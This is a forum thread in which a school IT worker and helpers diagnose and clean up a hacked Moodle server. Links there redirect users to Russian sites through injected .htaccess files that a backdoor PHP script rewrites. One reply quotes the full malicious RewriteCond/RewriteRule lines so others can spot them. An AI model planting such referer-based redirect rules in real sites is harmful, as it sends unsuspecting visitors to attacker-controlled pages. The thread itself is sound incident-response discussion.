Moodle hacked

[CapnPugwash]

Hi,

 

It looks like our Moodle has been hacked. When a user tries to find a course using 'Search Courses' , clicking on any of the links on the returned page will send them to somewhere random on the internet - mainly russian sites, such as:

 

diskwarrioradvertisements.ru/Documentation?8

 

** By Links, I mean ALL links on the page. Even to the users profile, logout etc.

 

Moodle & php are not really my thing, so I'm in the dark here.

 

I can see that the 'Search Courses' 'GO' button fires up courses/search.PHP & I've tried replacing this with another php file which I know is clean but it still does the same thing. Search.PHP has a couple of includes (config.php and lib.php) so I'll check them.

 

I've also searched the database for the Russian site mentioned above but I can't find it, so I guess it must be hardcoded into a php script somewhere?

 

Everything else works fine. You wouldn't know there was anything wrong unless you searched for a course. I'd like to solve this with a minimum of fuss & take measures to prevent it happening again.

 

We are running Moodle 1.9 on an Ubuntu server

 

Cheers!

Edited September 4, 2012 by CapnPugwash

[TechMonkey]

I would just replace all the files with ones from a download. Otherewise you can't guarantee what other nasties are hiding.

[Oaktech]

If you have a backup, now would be a good time to use it...

[Steve21]

Hi,

 

It looks like our Moodle has been hacked. When a user tries to find a course using 'Search Courses' , clicking on any of the links on the returned page will send them to somewhere random on the internet - mainly russian sites, such as:

 

diskwarrioradvertisements.ru/Documentation?8

 

** By Links, I mean ALL links on the page. Even to the users profile, logout etc.

 

Moodle & php are not really my thing, so I'm in the dark here.

 

I can see that the 'Search Courses' 'GO' button fires up courses/search.PHP & I've tried replacing this with another php file which I know is clean but it still does the same thing. Search.PHP has a couple of includes (config.php and lib.php) so I'll check them.

 

I've also searched the database for the Russian site mentioned above but I can't find it, so I guess it must be hardcoded into a php script somewhere?

 

Everything else works fine. You wouldn't know there was anything wrong unless you searched for a course. I'd like to solve this with a minimum of fuss & take measures to prevent it happening again.

 

We are running Moodle 1.9 on an Ubuntu server

 

Cheers!

 

Clough hall by any chance?

 

Seems there's a lot of redirect hacks going around at the moment within schools.

 

Most of them are editing the htaccess files, and putting redirects within them (often in white text )

 

Check for a line like this in your htaccess files

 

RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|youtube|wikipedia|excite|..suchmaschine|web-archiv|infospace)\.(.*)
RewriteRule ^(.*)$ http://diskwarrioradvertisements.ru/Documentation?8 [R=301,L] 

 

Might be slightly different obviously depending on your version of it, but might help.

 

Steve

[Steve21]

There we go, even found few examples of people with same one online

 

RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|linkedin|flickr|filesearch|yell|openstat|metabot|gigablast|entireweb|amfibi|dmoz|yippy|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|infospace)\.(.*)

RewriteRule ^(.*)$ http://diskwarrioradvertisements.ru/Documentation?8 [R=301,L]

RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|freenet|arcor|alexana|tiscali|kataweb|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|westaustraliaonline)\.(.*)

RewriteRule ^(.*)$ http://diskwarrioradvertisements.ru/Documentation?8 [R=301,L]

 

Anything that's like that is all bad in .htaccess files

 

Steve

[CapnPugwash]

Hi Steve, thanks for that - how did you know I was from Clough Hall?

 

OK, here's how it's looking. Moodle isn't something I know a lot about but it looks like there are three areas - the database, the course data & Moodle itself.

 

I've searched the database for any mention of the dodgy web sites and it's clean. I've replaced the main Moodle folder with one that I know is clean and that didn't change anything. So I'm assuming it's in the data part where the courses are. We do back up the Moodle server but the problem wasn't reported for a few weeks....

 

It makes total sense that it's a htaccess file issue... but I've checked everyone of them and can't find anything!

 

What could I be missing? I could be making some poor assumptions here so please feel free to correct me.

[Steve21]

Can pretty much guarantee it's at least partially a htaccess issue. As it'll fire off every time I redirect from google to your site, yet not loading it directly It's even doing it off your main VLE page, without searching/logging in.

 

Also seems to be changing where it's redirecting to, unless you've done a clean and got infected again? (From your comment above, guessing you replaced main folder, but not the actual issue)

 

See below:

 

 

 

 

When you checked your htaccess files did you check white space too? Often adds millions of white lines into them, to stop you scrolling down further etc

 

Depends on your opinion of course, but any objects to uploading some of your htaccess files so we can take a look? Understand if you don't want though.

 

Steve

[CapnPugwash]

Hi Steve,

 

I'd be happy to let you see the Htaccess files, I really need to get to the bottom of this. When I've looked at the files, I've done a search 'RewriteCond' - I hoped that that this would get around the white text issue.

 

Yes, I replaced the main Moodle folder so I presume, whatever is lurking in there has *got* to be in the MoodleData folder - am I right?

 

Cheers for your help, much appreciated.

[pcstru]

@CapnPugwash - how are your searching? Using grep from a shell on the box should be fairly foolproof.

 

Also how did you search the database?

Edited September 10, 2012 by pcstru

[CapnPugwash]

Hi,

 

Well you're exposing my ignorance here (which is a good thing for me) I've just been opening the htaccess files as text files and doing a standard word search.

[pcstru]

Probably my poor assumption. You are running on a Windows box - not a *nix box?

[CapnPugwash]

I'm running Moodle on an Ubuntu server. TBH, I don't know much about it, it was set up by a fella who left a while back and I've never had the time to sit down and get to grips with it.

[pcstru]

Ok. So how did you do the database search? How did you 'open text files'? If you could use ssh or telnet to login to the box and use a recursive grep search to look for the offending rewrite rules from the web root, that shouldn't miss anything. Simmilarly for the database, using mysqldump to produce a text file of the database then grepping that will be quite thorough.

[CapnPugwash]

Ok. So how did you do the database search? How did you 'open text files'? If you could use ssh or telnet to login to the box and use a recursive grep search to look for the offending rewrite rules from the web root, that shouldn't miss anything. Simmilarly for the database, using mysqldump to produce a text file of the database then grepping that will be quite thorough.

 

Hi,

 

I used PHPMYADMIN to search the database

In Ubuntu I searched for the htaccess files, right clicked on them and opened in a text editor

 

I'll have a look at grep, thanks for the pointer

[CapnPugwash]

Well, after looking at this all morning, I'm now more confused than ever.

 

To recap: I'm running Moodle 1.9 on an Ubuntu server.

 

When users log into Moodle, everything seems all right. However, when they 'Search Courses' , the returned page will look all right (hovering the mouse over all the links, I can see they are as they should be) but clicking on any link will take to one of these tupe of pages:

 

unchallengedminimoogs.ru

oomphstereomono.ru

convertednextpages.ru

 

I replaced my Moodle folder with a 'clean' version

I renamed my current MoodleData folder and created a new one with three empty folders inside (cache, sessions, and temp)

 

I then went to my Moodle site, logged in and checked the 'search courses' functionality - same problem with the nasty re-directs.

 

I did an SQLdump of my database, opened it in a text editor and searched for any reference to the websites mentioned - found nothing.

 

.... I really don't understand.... I agree with Steve, the most obvious culprit is a hacked htaccess file... but if it's not in either my Moodle or MoodleData folders.... where could it be?!

[Achandler]

does your webserver host any other sites?

[pcstru]

.... I really don't understand.... I agree with Steve, the most obvious culprit is a hacked htaccess file... but if it's not in either my Moodle or MoodleData folders.... where could it be?!

 

htaccess files can affect all subdirectories, so you need to check from the web root down. On ubuntu your moodle may look like

 

 

/var/www

/var/www/moodle

 

etc.

 

You should check from /var/www down (assuming apache is configured to /var/www as webroot).

 

If you can log in to a shell (command prompt) then you can use grep. If you still don't pick up anything in /var/www, check /etc . You will need to run grep with elevated permissions (something like) :

 

cd /var/www

sudo grep -R -i *

 

 

(running from the root (cd /) will take a long time but will find the culprit unless it's in the database).

[CapnPugwash]

htaccess files can affect all subdirectories, so you need to check from the web root down. On ubuntu your moodle may look like

 

 

/var/www

/var/www/moodle

 

etc.

 

You should check from /var/www down (assuming apache is configured to /var/www as webroot).

 

If you can log in to a shell (command prompt) then you can use grep. If you still don't pick up anything in /var/www, check /etc . You will need to run grep with elevated permissions (something like) :

 

cd /var/www

sudo grep -R -i *

 

 

(running from the root (cd /) will take a long time but will find the culprit unless it's in the database).

 

Ah... I meant to look up grep but I got sidetracked - it looks exactly what I need to do. I can open a shell so that's no problem, at the moment I'm running:

 

grep -rl "string" /path

 

.... Hopefully it will find something

 

My Ubuntu server is also hosting our website & intranet, both of which seem OK.

 

Thanks for your help

[pcstru]

at the moment I'm running:

 

grep -rl "string" /path

 

.... Hopefully it will find something

 

You (probably) need to add sudo (to run as root) otherwise the search won't be able to access files you don't have read permissions for.

[CapnPugwash]

The 'sudo' bit is the only bit I know!

[CapnPugwash]

AH... I'm starting to get a grip of this now. The problem was/is partly .htaccess files.

 

The reason I wasn't finding anything nasty in them is because I was looking in the wrong place!

 

I've been looking at htaccess files and NOT .htaccess files. I didn't realise that the '.' signifies the '.htaccess' file is hidden. Once I had this error pointed out to me, and started looking properly using 'ls -a' from the command prompt I found the dodgy .htaccess files straight away and deleted them.

 

So I'm starting to chip away at this but I've got another problem. The .htaccess files I have deleted keep coming back! I'm fairly sure they are being regenerated by one or more PHP files. I've found two likely candidates, both of them have 1969 as the last modified date!

[Blue_Cookeh]

Makes sense, 1969 is when UNIX time begins so if a file is being created or something by something like a PHP script, it could well come up with a funky datestamp.

[pcstru]

So I'm starting to chip away at this but I've got another problem. The .htaccess files I have deleted keep coming back! I'm fairly sure they are being regenerated by one or more PHP files. I've found two likely candidates, both of them have 1969 as the last modified date!

 

I don't think there should be any reason for these files to be writeable by the webserver user (probably www-data). Check that the owner is www-data and then change the permissions mask to 400. i.e.

 

sudo chmod 400 ./.htaccess

 

Or 444 would set them to be readable by anyone.

[Steve21]

AH... I'm starting to get a grip of this now. The problem was/is partly .htaccess files.

 

The reason I wasn't finding anything nasty in them is because I was looking in the wrong place!

 

I've been looking at htaccess files and NOT .htaccess files. I didn't realise that the '.' signifies the '.htaccess' file is hidden. Once I had this error pointed out to me, and started looking properly using 'ls -a' from the command prompt I found the dodgy .htaccess files straight away and deleted them.

 

So I'm starting to chip away at this but I've got another problem. The .htaccess files I have deleted keep coming back! I'm fairly sure they are being regenerated by one or more PHP files. I've found two likely candidates, both of them have 1969 as the last modified date!

 

One down, one to go hey Generally you'll find it copies a backdoor script into a directory too (Often names version.php, or cache"insert numbers".php), these generally fire off every 30 minutes re-building the htaccess files.

 

Might want to try to see if you've had any php files created in last few days (created, not modified though)

 

Steve

[CapnPugwash]

There ended up being a LOT of .htaccess files & a couple of dodgy PHP files. I've cleaned up and made sure Ubuntu / Apache is fully up to date with patches etc.

 

The .htaccess files were being written by the www-data user, so that's something I need to look at.

 

I don't think I'm out of the woods yet but it's looking a lot better than it did on Monday. As I said before, the Ubuntu / web server was put together by someone else and they left a while a go. Having to dig into it has been an experience. Not an unpleasant one but sometimes finding a 'definative' answer regarding command line stuff has been a bit frustrating.

 

If anyone comes to this thread with the same problem, I'm happy to talk you though my mistakes!